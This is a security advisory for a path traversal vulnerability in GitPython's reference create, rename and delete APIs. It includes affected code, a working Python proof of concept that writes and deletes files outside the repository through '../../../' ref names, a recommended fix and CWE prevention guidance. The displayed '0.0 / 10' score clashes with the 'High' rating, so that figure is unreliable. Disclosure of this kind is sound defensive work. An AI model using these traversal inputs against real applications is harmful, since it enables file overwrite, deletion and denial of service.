Skip to content

GHSA-7545-fcxq-7j24 CVE-2026-44243 PYSEC-2026-2162

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
3.1.48
Upgrade gitpython to this version or later

Description

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions

  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code

def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept

Setup

pip install GitPython==3.1.46
python poc.py

Exploit

import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result

repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact

What can an attacker do?

  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact

  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?

  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix

Recommended Fix

def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.48
3.1.48

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.48

pip
pip install --upgrade "gitpython>=3.1.48"
poetry
poetry add "gitpython>=3.1.48"
uv
uv add "gitpython>=3.1.48"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 7.1

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83vg-56qc-22m7
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
High Also affects gitpython
GHSA-gq48-pqfc-9p58
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Medium Also affects gitpython
GHSA-23mf-xhv8-69c2
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
High Also affects gitpython
GHSA-f9j4-qggq-h239
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
Critical Also affects gitpython
GHSA-w8jc-g24h-crhw
GitPython command wrappers omit unsafe protocol and option checks
High Also affects gitpython
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Also affects gitpython
GHSA-fx3j-rwgx-fr94
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
High Also affects gitpython
GHSA-59cr-6r3x-644w
GitPython submodule update path traversal can write outside the repository
Medium Also affects gitpython
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor